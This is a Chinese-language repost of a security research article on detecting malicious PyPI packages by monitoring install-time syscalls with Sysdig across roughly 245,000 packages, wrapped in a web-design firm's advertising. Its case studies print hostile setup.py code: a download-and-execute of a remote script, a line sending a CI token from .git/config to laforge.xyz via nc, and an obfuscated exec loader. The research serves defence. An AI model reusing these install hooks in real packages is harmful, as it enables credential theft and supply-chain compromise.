如何在PyPI上尋找惡意軟件包

如何在PyPI上尋找惡意軟件包,針對這個問題,這篇文章詳細(xì)介紹了相對應(yīng)的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。

公司主營業(yè)務(wù):成都網(wǎng)站設(shè)計、成都網(wǎng)站制作、移動網(wǎng)站開發(fā)等業(yè)務(wù)。幫助企業(yè)客戶真正實現(xiàn)互聯(lián)網(wǎng)宣傳,提高企業(yè)的競爭能力。創(chuàng)新互聯(lián)公司是一支青春激揚(yáng)、勤奮敬業(yè)、活力青春激揚(yáng)、勤奮敬業(yè)、活力澎湃、和諧高效的團(tuán)隊。公司秉承以“開放、自由、嚴(yán)謹(jǐn)、自律”為核心的企業(yè)文化,感謝他們對我們的高要求,感謝他們從不同領(lǐng)域給我們帶來的挑戰(zhàn),讓我們激情的團(tuán)隊有機(jī)會用頭腦與智慧不斷的給客戶帶來驚喜。創(chuàng)新互聯(lián)公司推出永靖免費(fèi)做網(wǎng)站回饋大家。

大約一年前,Python軟件基金會(Python Software Foundation,RFI)公開了一個信息請求(RFI),討論的是如何檢測上傳到PyPI的惡意軟件包,這顯然是一個影響幾乎每個包管理器的實際問題。

事實上,像PyPI這樣的包管理器是幾乎每個公司都依賴的關(guān)鍵基礎(chǔ)設(shè)施。這是我感興趣的一個領(lǐng)域,所以我用我的想法回應(yīng)我們應(yīng)該如何去處理這個問題。在這篇文章中,我將詳細(xì)介紹如何安裝和分析PyPI中的每個包,并尋找其中潛在的惡意活動。

如何尋找惡意庫

為了在軟件包的安裝過程中執(zhí)行任意命令,開發(fā)人員通常會將代碼添加到代碼包里的setup.py文件中,具體可以參考這個【代碼庫】。

從大的角度來看,我們有兩種方法可以找到潛在的惡意依賴組件,即靜態(tài)分析和動態(tài)分析。雖然靜態(tài)分析非常有趣,但本文主要使用的是動態(tài)分析方法。

那么,我們到底要尋找什么呢?

首先我們要知道一點,很多重要的事情都是由內(nèi)核完成的。一般的程序(例如pip)如果想要讓內(nèi)核來完成某個任務(wù)時,一般都是通過使用syscalls,即系統(tǒng)調(diào)用完成的。打開文件,建立網(wǎng)絡(luò)連接,以及執(zhí)行命令等任務(wù),都是通過系統(tǒng)調(diào)用實現(xiàn)的。

這也就意味著,如果我們能在一個Python包的安裝過程中監(jiān)控系統(tǒng)調(diào)用的話,那我們就可以去查看任何可疑的事件了。這樣做的好處就在于,無論惡意代碼經(jīng)過了多少層混淆處理,我們都可以查看到這些代碼實際要做的事情。

現(xiàn)在,我們只要要做的事情就是監(jiān)控系統(tǒng)調(diào)用了,那么我們該如何做呢?

使用Sysdig監(jiān)控系統(tǒng)調(diào)用

實際上,社區(qū)已經(jīng)提供了很多能夠幫助我們監(jiān)控系統(tǒng)調(diào)用的工具了。針對我們這個目標(biāo),我選擇使用的時Sysdig,因為它既能夠提供結(jié)構(gòu)化的輸出,又能夠幫助我們很好地對數(shù)據(jù)進(jìn)行過濾。

為了實現(xiàn)這一點,在啟動安裝包的Docker容器時,我還啟動了一個Sysdig進(jìn)程,該進(jìn)程只會監(jiān)視來自該容器的事件。除此之外,我還過濾掉了跟pypi.org或files.pythonhosted.com相關(guān)的網(wǎng)絡(luò)讀寫操作,因為它們跟我們的目標(biāo)無關(guān)。

現(xiàn)在我們已經(jīng)有了捕獲系統(tǒng)調(diào)用的方法,但還有一個不得不解決的問題,即如何獲取所有可用PyPI包的完整列表。

獲取Python包

幸運(yùn)的是,PyPI提供了一個名為“Simple API”的API接口,這個接口可以被當(dāng)作是一個包含了指向每一個軟件包鏈接的大型HTML頁面。我們可以爬取這個頁面中的信息,并使用pup來對鏈接進(jìn)行解析,這樣我們就可以拿到大約268000個軟件包:

? curl https://pypi.org/simple/ | pup 'a text{}' > pypi_full.txt               

 

? wc -l pypi_full.txt

  268038 pypi_full.txt

針對我們的實驗場景,我們需要的是每一個軟件包的最新版本,我們的管道如下:

如何在PyPI上尋找惡意軟件包

簡而言之,我們將每個包的名稱發(fā)送到一組EC2實例,它可以從PyPI獲取關(guān)于包的一些元數(shù)據(jù),然后啟動sysdig以及一系列容器來通過pip安裝包,同時收集系統(tǒng)調(diào)用和網(wǎng)絡(luò)流量。然后,所有的數(shù)據(jù)都被傳送到S3以供后續(xù)分析使用。

整個過程如下圖所示:

如何在PyPI上尋找惡意軟件包

上述操作完成后,我們將在一個S3 Bucket中存儲大約1TB的數(shù)據(jù),其中包含了大約245000個軟件包。我們對元數(shù)據(jù)和輸出進(jìn)行整理之后,將得到一系列JSON文件:

{

    "metadata": {},

    "output": {

        "DNS": [],         // Any DNS requests made

        "files": [],       // All file access operations

        "connections": [], // TCP connections established

        "commands": [],    // Any commands executed

    }

}

然后,我編寫了一系列腳本來聚合數(shù)據(jù),試圖對代碼的行為進(jìn)行分析,讓我們深入研究一下結(jié)果。

網(wǎng)絡(luò)請求

軟件包在安裝過程中需要進(jìn)行網(wǎng)絡(luò)連接的原因有很多,它們可能需要下載合法的二進(jìn)制組件或其他資源,也有可能是在嘗試從系統(tǒng)中提取數(shù)據(jù)或憑證。

我們發(fā)現(xiàn),其中有460包會跟109臺單獨的主機(jī)建立網(wǎng)絡(luò)連接。正如上面提到的,其中相當(dāng)一部分是由于軟件包共享依賴組件(這些依賴會進(jìn)行網(wǎng)絡(luò)連接)的結(jié)果。不過,我們可以通過映射依賴關(guān)系可以過濾掉這些內(nèi)容。

命令執(zhí)行

與網(wǎng)絡(luò)連接一樣,軟件包在安裝期間運(yùn)行系統(tǒng)命令也是有正當(dāng)理由,這里可以是編譯本機(jī)二進(jìn)制文件和設(shè)置正確的環(huán)境等等??v觀我們的示例集,我們發(fā)現(xiàn)有60725個包會在安裝期間執(zhí)行命令。就像網(wǎng)絡(luò)連接一樣,我們必須記住,許多連接都是由運(yùn)行命令的包的下游依賴組件發(fā)起的。

有趣的軟件包

深入研究結(jié)果,大多數(shù)網(wǎng)絡(luò)連接和命令似乎是合法的。但是,我想把一些奇怪的行為作為案例研究,來說明這種分析有多有用。

i-am-malicious

這里,我們發(fā)現(xiàn)了一個名叫i-am-malicious的包,它就是一個惡意包。如果大家覺得這個包的名字還不夠明顯的話,下面的細(xì)節(jié)也足以證明一切:

{

  "dns": [{

          "name": "gist.githubusercontent.com",

          "addresses": [

            "199.232.64.133"

          ]

    }]

  ],

  "files": [

    ...

    {

      "filename": "/tmp/malicious.py",

      "flag": "O_RDONLY|O_CLOEXEC"

    },

    ...

    {

      "filename": "/tmp/malicious-was-here",

      "flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"

    },

    ...

  ],

  "commands": [

    "python /tmp/malicious.py"

  ]

}

我們看到,它會跟gist.github.com建立連接,執(zhí)行一個Python文件,然后創(chuàng)建一個名為“/tmp/malicious-was-here”的文件。果不其然,這些全部都是利用setup.py實現(xiàn)的:

from urllib.request import urlopen

 

handler = urlopen("https://gist.githubusercontent.com/moser/49e6c40421a9c16a114bed73c51d899d/raw/fcdff7e08f5234a726865bb3e02a3cc473cecda7/malicious.py")

with open("/tmp/malicious.py", "wb") as fp:

    fp.write(handler.read())

 

import subprocess

 

subprocess.call(["python", "/tmp/malicious.py"])

maliciouspackage

另一個惡意包甚至直接把名字都改成了maliciouspackage,下面給出的是相關(guān)的輸出:

{

  "dns": [{

      "name": "laforge.xyz",

      "addresses": [

        "34.82.112.63"

      ]

  }],

  "files": [

    {

      "filename": "/app/.git/config",

      "flag": "O_RDONLY"

    },

  ],

  "commands": [

    "sh -c apt install -y socat",

    "sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566",

    "grep ci-token /app/.git/config",

    "nc laforge.xyz 5566"

  ]

}

這個包似乎能夠從“.git/config”文件中提取出令牌,并將其上傳至laforge.xyz。通過分析其setup.py,我們可以看到下列內(nèi)容:

...

import os

os.system('apt install -y socat')

os.system('grep ci-token /app/.git/config | nc laforge.xyz 5566')

easyIoCtl

還有一個名叫easyIoCtl的包,它聲稱能夠抽象化IO操作,但我們發(fā)現(xiàn)它會執(zhí)行下列命令:

[

  "sh -c touch /tmp/testing123",

  "touch /tmp/testing123"

]

這很可疑,但不一定具有惡意性。不過這個例子很好地展示了我們用于跟蹤系統(tǒng)調(diào)用的方法。下面是該項目的setup.py文件:

class MyInstall():

    def run(self):

        control_flow_guard_controls = 'l0nE@`eBYNQ)Wg+-,ka}fM(=2v4AVp![dR/\\ZDF9s\x0c~PO%yc X3UK:.w\x0bL$Ijq<&\r6*?\'1>mSz_^C\to#hiJtG5xb8|;\n7T{uH]"r'

        control_flow_guard_mappers = [81, 71, 29, 78, 99, 83, 48, 78, 40, 90, 78, 40, 54, 40, 46, 40, 83, 6, 71, 22, 68, 83, 78, 95, 47, 80, 48, 34, 83, 71, 29, 34, 83, 6, 40, 83, 81, 2, 13, 69, 24, 50, 68, 11]

        control_flow_guard_init = ""

        for controL_flow_code in control_flow_guard_mappers:

            control_flow_guard_init = control_flow_guard_init + control_flow_guard_controls[controL_flow_code]

        exec(control_flow_guard_init)

為了弄清楚這些代碼要做的事情,我們可以用print來代替exec,結(jié)果如下:

import os;os.system('touch /tmp/testing123')

這就是它索要執(zhí)行的命令,即使代碼經(jīng)過了混淆處理,也不會影響我們的分析結(jié)果,因為我們是在系統(tǒng)調(diào)用級別上進(jìn)行的監(jiān)控。

關(guān)于如何在PyPI上尋找惡意軟件包問題的解答就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道了解更多相關(guān)知識。

網(wǎng)頁名稱:如何在PyPI上尋找惡意軟件包
鏈接分享:http://bm7419.com/article22/jdgdjc.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供建站公司外貿(mào)建站、網(wǎng)站建設(shè)網(wǎng)站改版、網(wǎng)站導(dǎo)航網(wǎng)站設(shè)計公司

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

網(wǎng)站建設(shè)網(wǎng)站維護(hù)公司